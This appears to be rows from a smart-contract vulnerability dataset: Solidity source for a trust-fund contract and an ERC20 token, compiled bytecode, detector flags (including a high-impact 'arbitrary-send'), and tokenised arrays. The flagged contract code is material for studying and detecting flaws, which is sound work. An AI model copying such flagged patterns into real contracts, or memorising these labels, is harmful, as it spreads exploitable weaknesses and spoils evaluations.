/*
* Add a new trust from settlor's balance in this contract.
*
* @param name the trust's name
* @param beneficiary the beneficiary's address to receive the trust fund
* @param startReleaseTime the start time beneficiary can start to get money,
UTC seconds
* @param timeInterval how often the beneficiary can get money
* @param amountPerTimeInterval how much money can beneficiary get after one timeInterval
* @param totalAmount how much money is added to the trust
* @param revocable whether this trust is revocable
*/
function addTrustFromBalance(
string memory name,
address beneficiary,
uint startReleaseTime,
uint timeInterval,
uint amountPerTimeInterval,
uint totalAmount,
bool revocable
)
external
returns (uint trustId);
/*
* Add a new trust by pay
*
* @param name the trust's name
* @param beneficiary the beneficiary's address to receive the trust fund
* @param startReleaseTime the start time beneficiary can start to get money,
UTC seconds
* @param timeInterval how often the beneficiary can get money
* @param amountPerTimeInterval how much money can beneficiary get after one timeInterval
* @param revocable whether this trust is revocalbe
*/
function addTrust(
string memory name,
address beneficiary,
uint startReleaseTime,
uint timeInterval,
uint amountPerTimeInterval,
bool revocable
)
external
payable
returns (uint trustId);
/*
* Set trust to irrevocable
*
* @param trustId the trustId settlor want to set irrevocable
*/
function setIrrevocable(uint trustId) external;
/*
* Revoke a trust, withdraw all the money out
*
* @param trustId the trustId settlor want to top up
*/
function revoke(uint trustId) external;
/*
* Top up a trust by payment
* @param trustId the trustId settlor want to top up
*/
function topUp(uint trustId) external payable;
/*
* Top up from balance to a trust by trustId
*
* @param trustId the trustId settlor want add to top up
* @param amount the amount of money settlor want to top up
*/
function topUpFromBalance(uint trustId, uint amount) external;
/*
* Beneficiary release one trust asset by this function
*
* @param trustId the trustId beneficiary want to release
*
*/
function release(uint trustId) external;
/*
* Beneficiary release one trust asset by this function
*
* @param trustId the trustId beneficiary want to release
* @param to the address beneficiary want to release to
*
*/
function releaseTo(uint trustId, address to) external;
/*
* Beneficiary get token by this function, release all the
* trust releaeable assets in the contract
*/
function releaseAll() external;
/*
* Beneficiary get token by this function, release all the
* trust releaeable assets in the contract
*
* @param to the address beneficiary want to release to
*/
function releaseAllTo(address to) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
| 0x6080604052600436106100bc5760003560e01c806320c5429b146101155780632186c7b7146101375780632956f0131461015757806337bdc99b1461018d5780634e282663146101ad57806350017f3e146101cd578063504a7a93146101e05780635be7fde8146102005780638129fc1c1461021557806381760a451461022a578063944cf8c31461024a578063a865762c1461026a578063b492e9071461028a578063cfa6802b146102aa578063f8b2cb4f146102ca57610110565b3661011057600034116100ea5760405162461bcd60e51b81526004016100e190611f6b565b60405180910390fd5b3360009081526002602052604081208054349290610109908490611fe1565b9091555050005b600080fd5b34801561012157600080fd5b50610135610130366004611ba1565b6102ea565b005b34801561014357600080fd5b50610135610152366004611bb9565b610420565b34801561016357600080fd5b50610177610172366004611a5e565b61045b565b6040516101849190611c63565b60405180910390f35b34801561019957600080fd5b506101356101a8366004611ba1565b6106c1565b3480156101b957600080fd5b506101356101c8366004611a7f565b6106f4565b6101356101db366004611ba1565b610798565b3480156101ec57600080fd5b506101356101fb366004611ba1565b610869565b34801561020c57600080fd5b50610135610914565b34801561022157600080fd5b50610135610946565b61023d610238366004611aa8565b6109c0565b6040516101849190611fca565b34801561025657600080fd5b5061023d610265366004611b1f565b610a28565b34801561027657600080fd5b50610135610285366004611a5e565b610ad3565b34801561029657600080fd5b506101356102a5366004611be4565b610b04565b3480156102b657600080fd5b506101776102c5366004611a5e565b610c17565b3480156102d657600080fd5b5061023d6102e5366004611a5e565b610e72565b60065460011461030c5760405162461bcd60e51b81526004016100e190611e9e565b600060068190558181526003602052604090206007810154806103415760405162461bcd60e51b81526004016100e190611e47565b60028201546001600160a01b0316331461036d5760405162461bcd60e51b81526004016100e190611da7565b600882015460ff166103915760405162461bcd60e51b81526004016100e190611eed565b600382015460028301546103b39185916001600160a01b039182169116610e8d565b604051339082156108fc029083906000818181858888f193505050506103eb5760405162461bcd60e51b81526004016100e190611f18565b60405183907f0a09c00c00d3a17f5085f3dead2941e3b91ea8e1fc102524c7df1d37b482ec7d90600090a25050600160065550565b6006546001146104425760405162461bcd60e51b81526004016100e190611e9e565b60006006556104528233836111b8565b50506001600655565b6001600160a01b03811660009081526004602090815260408083208054825181850281018501909352808352606094938301828280156104ba57602002820191906000526020600020905b8154815260200190600101908083116104a6575b505050505090506000815190506000816001600160401b038111156104ef57634e487b7160e01b600052604160045260246000fd5b60405190808252806020026020018201604052801561052857816020015b610515611882565b81526020019060019003908161050d5790505b50905060005b828110156106b65760006003600086848151811061055c57634e487b7160e01b600052603260045260246000fd5b60200260200101518152602001908152602001600020905080604051806101200160405290816000820154815260200160018201805461059b9061204f565b80601f01602080910402602001604051908101604052809291908181526020018280546105c79061204f565b80156106145780601f106105e957610100808354040283529160200191610614565b820191906000526020600020905b8154815290600101906020018083116105f757829003601f168201915b505050918352505060028201546001600160a01b03908116602083015260038301541660408201526004820154606082015260058201546080820152600682015460a0820152600782015460c082015260089091015460ff16151560e090910152835184908490811061069757634e487b7160e01b600052603260045260246000fd5b60200260200101819052505080806106ae9061208a565b91505061052e565b50925050505b919050565b6006546001146106e35760405162461bcd60e51b81526004016100e190611e9e565b6000600655336104528282806111b8565b33600081815260026020526040902054828110156107245760405162461bcd60e51b81526004016100e190611e70565b6001600160a01b0382166000908152600260205260408120805485929061074c908490612038565b90915550506040516001600160a01b0385169084156108fc029085906000818181858888f193505050506107925760405162461bcd60e51b81526004016100e190611d7a565b50505050565b6006546001146107ba5760405162461bcd60e51b81526004016100e190611e9e565b600060065534806107dd5760405162461bcd60e51b81526004016100e190611f6b565b6000828152600360205260409020600781015461080c5760405162461bcd60e51b81526004016100e190611e47565b818160070160008282546108209190611fe1565b92505081905550827f90aaa57f071f96a7d0b5c4efb4d76013885c13c6d818066e2c8ed9d137c700b4836040516108579190611fca565b60405180910390a25050600160065550565b60065460011461088b5760405162461bcd60e51b81526004016100e190611e9e565b600060068190558181526003602052604090206007810154806108c05760405162461bcd60e51b81526004016100e190611e47565b60028201546001600160a01b031633146108ec5760405162461bcd60e51b81526004016100e190611da7565b600882015460ff166108ff57505061090c565b50600801805460ff191690555b506001600655565b6006546001146109365760405162461bcd60e51b81526004016100e190611e9e565b60006006553361090c8180611324565b600054610100900460ff168061095f575060005460ff16155b61097b5760405162461bcd60e51b81526004016100e190611df9565b600054610100900460ff161580156109a6576000805460ff1961ff0019909116610100171660011790555b600160065580156109bd576000805461ff00191690555b50565b60006006546001146109e45760405162461bcd60e51b81526004016100e190611e9e565b60006006553480610a075760405162461bcd60e51b81526004016100e190611f6b565b610a17888833898989878a611505565b600160065598975050505050505050565b6000600654600114610a4c5760405162461bcd60e51b81526004016100e190611e9e565b6000600681905533808252600260205260409091205484811015610a825760405162461bcd60e51b81526004016100e190611e70565b6001600160a01b03821660009081526002602052604081208054879290610aaa908490612038565b90915550610ac090508a8a848b8b8b8b8b611505565b60016006559a9950505050505050505050565b600654600114610af55760405162461bcd60e51b81526004016100e190611e9e565b600060065561090c3382611324565b600654600114610b265760405162461bcd60e51b81526004016100e190611e9e565b6000600681905533808252600260205260409091205482811015610b5c5760405162461bcd60e51b81526004016100e190611e70565b6001600160a01b03821660009081526002602052604081208054859290610b84908490612038565b909155505060008481526003602052604090206007810154610bb85760405162461bcd60e51b81526004016100e190611e47565b83816007016000828254610bcc9190611fe1565b92505081905550847f90aaa57f071f96a7d0b5c4efb4d76013885c13c6d818066e2c8ed9d137c700b485604051610c039190611fca565b60405180910390a250506001600655505050565b6001600160a01b0381166000908152600560209081526040808320805482518185028101850190935280835260609493830182828015610c7657602002820191906000526020600020905b815481526020019060010190808311610c62575b505050505090506000815190506000816001600160401b03811115610cab57634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015610ce457816020015b610cd1611882565b815260200190600190039081610cc95790505b50905060005b828110156106b657600060036000868481518110610d1857634e487b7160e01b600052603260045260246000fd5b602002602001015181526020019081526020016000209050806040518061012001604052908160008201548152602001600182018054610d579061204f565b80601f0160208091040260200160405190810160405280929190818152602001828054610d839061204f565b8015610dd05780601f10610da557610100808354040283529160200191610dd0565b820191906000526020600020905b815481529060010190602001808311610db357829003601f168201915b505050918352505060028201546001600160a01b03908116602083015260038301541660408201526004820154606082015260058201546080820152600682015460a0820152600782015460c082015260089091015460ff16151560e0909101528351849084908110610e5357634e487b7160e01b600052603260045260246000fd5b6020026020010181905250508080610e6a9061208a565b915050610cea565b6001600160a01b031660009081526002602052604090205490565b600083815260036020526040812081815590610eac60018301826118e2565b506002810180546001600160a01b03199081169091556003820180549091169055600060048201819055600580830182905560068301829055600783018290556008909201805460ff191690556001600160a01b038416815260209190915260409020805460011415610f525780805480610f3757634e487b7160e01b600052603160045260246000fd5b60019003818190600052602060002001600090559055611053565b60005b81548110156110515784828281548110610f7f57634e487b7160e01b600052603260045260246000fd5b9060005260206000200154141561103f578154610f9e90600190612038565b811461100a5781548290610fb490600190612038565b81548110610fd257634e487b7160e01b600052603260045260246000fd5b9060005260206000200154828281548110610ffd57634e487b7160e01b600052603260045260246000fd5b6000918252602090912001555b8180548061102857634e487b7160e01b600052603160045260246000fd5b600190038181906000526020600020016000905590555b806110498161208a565b915050610f55565b505b6001600160a01b03821660009081526004602052604090208054600114156110b0578080548061109357634e487b7160e01b600052603160045260246000fd5b6001900381819060005260206000200160009055905550506111b3565b60005b81548110156111af57858282815481106110dd57634e487b7160e01b600052603260045260246000fd5b9060005260206000200154141561119d5781546110fc90600190612038565b8114611168578154829061111290600190612038565b8154811061113057634e487b7160e01b600052603260045260246000fd5b906000526020600020015482828154811061115b57634e487b7160e01b600052603260045260246000fd5b6000918252602090912001555b8180548061118657634e487b7160e01b600052603160045260246000fd5b600190038181906000526020600020016000905590555b806111a78161208a565b9150506110b3565b5050505b505050565b600083815260036020526040902060078101546111e75760405162461bcd60e51b81526004016100e190611e47565b60038101546001600160a01b038481169116146112165760405162461bcd60e51b81526004016100e190611dce565b60006112218261176e565b9050806112405760405162461bcd60e51b81526004016100e190611f3f565b600782015415801561129a576003830154600284015461126e9188916001600160a01b039182169116610e8d565b60405186907f24b205dee589d3e248ad1646d623eb1f842878cf37a3344aa430dd9691ea221490600090a25b6040516001600160a01b0385169083156108fc029084906000818181858888f193505050506112db5760405162461bcd60e51b81526004016100e190611ec5565b846001600160a01b03167ff6334794522b9db534a812aaae1af828a2e96aac68473b58e36d7d0bfd67477b836040516113149190611fca565b60405180910390a2505050505050565b6001600160a01b0382166000908152600560205260409020805461135a5760405162461bcd60e51b81526004016100e190611f3f565b805460009081908190819081905b80861080156113775750865415155b1561145b5786858154811061139c57634e487b7160e01b600052603260045260246000fd5b6000918252602080832090910154808352600390915260408220909450906113c38261176e565b905080156113d8576113d58187611fe1565b95505b6007820154159350831561143857600382015460028301546114089187916001600160a01b039182169116610e8d565b60405185907f24b205dee589d3e248ad1646d623eb1f842878cf37a3344aa430dd9691ea221490600090a2611446565b866114428161208a565b9750505b505085806114539061208a565b965050611368565b836114785760405162461bcd60e51b81526004016100e190611f3f565b6040516001600160a01b0389169085156108fc029086906000818181858888f193505050506114b95760405162461bcd60e51b81526004016100e190611ec5565b886001600160a01b03167ff6334794522b9db534a812aaae1af828a2e96aac68473b58e36d7d0bfd67477b856040516114f29190611fca565b60405180910390a2505050505050505050565b6000846115245760405162461bcd60e51b81526004016100e190611f93565b6001600081546115339061208a565b918290555060008181526003602090815260409091208281558b51929350611563926001909101918c019061191e565b50866003600083815260200190815260200160002060020160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550876003600083815260200190815260200160002060030160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550856003600083815260200190815260200160002060040181905550846003600083815260200190815260200160002060050181905550836003600083815260200190815260200160002060060181905550826003600083815260200190815260200160002060070181905550816003600083815260200190815260200160002060080160006101000a81548160ff02191690831515021790555060046000886001600160a01b03166001600160a01b0316815260200190815260200160002081908060018154018082558091505060019003906000526020600020016000909190919091505560056000896001600160a01b03166001600160a01b0316815260200190815260200160002081908060018154018082558091505060019003906000526020600020016000909190919091505580886001600160a01b0316886001600160a01b03167f9faf6222d4fa110279fc1507f5c7862b09d8a09ddbb2318ef53911272736e9928c8a8a8a8a8a60405161175a96959493929190611d3c565b60405180910390a498975050505050505050565b600080429050808360040154111561178a5760009150506106bc565b600083600501548460040154836117a19190612038565b6117ab9190611ff9565b6117b6906001611fe1565b905060008460060154826117ca9190612019565b9050846007015481106117e857506007840180546000909155611829565b808560070160008282546117fc9190612038565b909155505060058501546118109083612019565b8560040160008282546118239190611fe1565b90915550505b6003850154855460048701546040516001600160a01b03909316927f1076643511c27504a67d2e929b71441142288da1f5d662d0ea4611c2a131d48a9161187291869190611fd3565b60405180910390a3949350505050565b604051806101200160405280600081526020016060815260200160006001600160a01b0316815260200160006001600160a01b03168152602001600081526020016000815260200160008152602001600081526020016000151581525090565b5080546118ee9061204f565b6000825580601f1061190057506109bd565b601f0160209004906000526020600020908101906109bd91906119a2565b82805461192a9061204f565b90600052602060002090601f01602090048101928261194c5760008555611992565b82601f1061196557805160ff1916838001178555611992565b82800160010185558215611992579182015b82811115611992578251825591602001919060010190611977565b5061199e9291506119a2565b5090565b5b8082111561199e57600081556001016119a3565b80356001600160a01b03811681146106bc57600080fd5b803580151581146106bc57600080fd5b600082601f8301126119ee578081fd5b81356001600160401b0380821115611a0857611a086120bb565b604051601f8301601f191681016020018281118282101715611a2c57611a2c6120bb565b604052828152848301602001861015611a43578384fd5b82602086016020830137918201602001929092529392505050565b600060208284031215611a6f578081fd5b611a78826119b7565b9392505050565b60008060408385031215611a91578081fd5b611a9a836119b7565b946020939093013593505050565b60008060008060008060c08789031215611ac0578182fd5b86356001600160401b03811115611ad5578283fd5b611ae189828a016119de565b965050611af0602088016119b7565b9450604087013593506060870135925060808701359150611b1360a088016119ce565b90509295509295509295565b600080600080600080600060e0888a031215611b39578081fd5b87356001600160401b03811115611b4e578182fd5b611b5a8a828b016119de565b975050611b69602089016119b7565b955060408801359450606088013593506080880135925060a08801359150611b9360c089016119ce565b905092959891949750929550565b600060208284031215611bb2578081fd5b5035919050565b60008060408385031215611bcb578182fd5b82359150611bdb602084016119b7565b90509250929050565b60008060408385031215611bf6578182fd5b50508035926020909101359150565b6001600160a01b03169052565b15159052565b60008151808452815b81811015611c3d57602081850181015186830182015201611c21565b81811115611c4e5782602083870101525b50601f01601f19169290920160200192915050565b60208082528251828201819052600091906040908185019080840286018301878501865b83811015611d2e57603f1989840301855281516101208151855288820151818a870152611cb682870182611c18565b91505087820151611cc989870182611c05565b50606080830151611cdc82880182611c05565b50506080828101519086015260a0808301519086015260c0808301519086015260e080830151908601526101009182015191611d1a81870184611c12565b509588019593505090860190600101611c87565b509098975050505050505050565b600060c08252611d4f60c0830189611c18565b602083019790975250604081019490945260608401929092526080830152151560a090910152919050565b6020808252601390820152721cd95b990818985b185b98d94819985a5b1959606a1b604082015260600190565b6020808252600d908201526c39b2ba3a3637b91032b93937b960991b604082015260600190565b6020808252601190820152703132b732b334b1b4b0b93c9032b93937b960791b604082015260600190565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b6020808252600f908201526e1d1c9d5cdd081b9bdd08199bdd5b99608a1b604082015260600190565b60208082526014908201527318985b185b98d9481a5b9cdd59999a58da595b9d60621b604082015260600190565b6020808252600d908201526c151c9d5cdd0e881313d0d2d151609a1b604082015260600190565b6020808252600e908201526d1c995b19585cd94819985a5b195960921b604082015260600190565b60208082526011908201527074727573742069727265766f6361626c6560781b604082015260600190565b6020808252600d908201526c1c995d9bdad94819985a5b1959609a1b604082015260600190565b6020808252601290820152716e6f7468696e6720746f2072656c6561736560701b604082015260600190565b6020808252600e908201526d06d73672e76616c756520697320360941b604082015260600190565b6020808252601f908201527f74696d65496e74657276616c2073686f756c6420626520706f73697469766500604082015260600190565b90815260200190565b918252602082015260400190565b60008219821115611ff457611ff46120a5565b500190565b60008261201457634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615612033576120336120a5565b500290565b60008282101561204a5761204a6120a5565b500390565b60028104600182168061206357607f821691505b6020821081141561208457634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561209e5761209e6120a5565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfea26469706673582212205b4ac907c957ca60df3b94905090cbebf7677330f506ce1477af6e3e18cb791464736f6c63430008000033 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
22275,
5243,
24434,
11057,
16086,
8586,
2575,
27531,
2475,
2063,
16086,
12521,
2475,
2050,
19317,
23499,
6305,
2094,
2692,
2063,
2575,
2620,
2278,
2575,
2620,
2094,
2549,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
12325,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1022,
1012,
1014,
1025,
12324,
1000,
1012,
1013,
19706,
1013,
8909,
3388,
7946,
2102,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1011,
12200,
3085,
1013,
24540,
1013,
21183,
12146,
1013,
3988,
21335,
3468,
1012,
14017,
1000,
1025,
3206,
20010,
7946,
2102,
2003,
8909,
3388,
7946,
2102,
1010,
3988,
21335,
3468,
1063,
21318,
3372,
2797,
3404,
3593,
1025,
1013,
1008,
3825,
3495,
2052,
2022,
2182,
1012,
1008,
1013,
12375,
1006,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,503 | 0x953ea933bd23c329efca7f5886e24a1442687f27 | pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'ACT466623' token contract
//
// Deployed to : 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187
// Symbol : ACT466623
// Name : ADZbuzz Cryptoticker.io Community Token
// Total supply: 2000000
// Decimals : 8
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// (c) by Darwin Jayme with ADZbuzz Ltd. UK (adzbuzz.com) 2018.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract ADZbuzzCommunityToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ADZbuzzCommunityToken() public {
symbol = "ACT466623";
name = "ADZbuzz Cryptoticker.io Community Token";
decimals = 8;
_totalSupply = 200000000000000;
balances[0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187] = _totalSupply;
emit Transfer(address(0), 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 0x6060604052600436106100f85763ffffffff60e060020a60003504166306fdde0381146100fd578063095ea7b31461018757806318160ddd146101bd57806323b872dd146101e2578063313ce5671461020a5780633eaaf86b1461023357806370a082311461024657806379ba5097146102655780638da5cb5b1461027a57806395d89b41146102a9578063a293d1e8146102bc578063a9059cbb146102d5578063b5931f7c146102f7578063cae9ca5114610310578063d05c78da14610375578063d4ee1d901461038e578063dc39d06d146103a1578063dd62ed3e146103c3578063e6cb9013146103e8578063f2fde38b14610401575b600080fd5b341561010857600080fd5b610110610420565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561014c578082015183820152602001610134565b50505050905090810190601f1680156101795780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019257600080fd5b6101a9600160a060020a03600435166024356104be565b604051901515815260200160405180910390f35b34156101c857600080fd5b6101d061052b565b60405190815260200160405180910390f35b34156101ed57600080fd5b6101a9600160a060020a036004358116906024351660443561055d565b341561021557600080fd5b61021d61065e565b60405160ff909116815260200160405180910390f35b341561023e57600080fd5b6101d0610667565b341561025157600080fd5b6101d0600160a060020a036004351661066d565b341561027057600080fd5b610278610688565b005b341561028557600080fd5b61028d610716565b604051600160a060020a03909116815260200160405180910390f35b34156102b457600080fd5b610110610725565b34156102c757600080fd5b6101d0600435602435610790565b34156102e057600080fd5b6101a9600160a060020a03600435166024356107a5565b341561030257600080fd5b6101d0600435602435610858565b341561031b57600080fd5b6101a960048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061087995505050505050565b341561038057600080fd5b6101d06004356024356109dc565b341561039957600080fd5b61028d610a01565b34156103ac57600080fd5b6101a9600160a060020a0360043516602435610a10565b34156103ce57600080fd5b6101d0600160a060020a0360043581169060243516610aa3565b34156103f357600080fd5b6101d0600435602435610ace565b341561040c57600080fd5b610278600160a060020a0360043516610ade565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104b65780601f1061048b576101008083540402835291602001916104b6565b820191906000526020600020905b81548152906001019060200180831161049957829003601f168201915b505050505081565b600160a060020a03338116600081815260076020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b6000805260066020527f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f8546005540390565b600160a060020a0383166000908152600660205260408120546105809083610790565b600160a060020a03808616600090815260066020908152604080832094909455600781528382203390931682529190915220546105bd9083610790565b600160a060020a03808616600090815260076020908152604080832033851684528252808320949094559186168152600690915220546105fd9083610ace565b600160a060020a03808516600081815260066020526040908190209390935591908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b60045460ff1681565b60055481565b600160a060020a031660009081526006602052604090205490565b60015433600160a060020a039081169116146106a357600080fd5b600154600054600160a060020a0391821691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b600054600160a060020a031681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104b65780601f1061048b576101008083540402835291602001916104b6565b60008282111561079f57600080fd5b50900390565b600160a060020a0333166000908152600660205260408120546107c89083610790565b600160a060020a0333811660009081526006602052604080822093909355908516815220546107f79083610ace565b600160a060020a0380851660008181526006602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600080821161086657600080fd5b818381151561087157fe5b049392505050565b600160a060020a03338116600081815260076020908152604080832094881680845294909152808220869055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259086905190815260200160405180910390a383600160a060020a0316638f4ffcb1338530866040518563ffffffff1660e060020a0281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561097457808201518382015260200161095c565b50505050905090810190601f1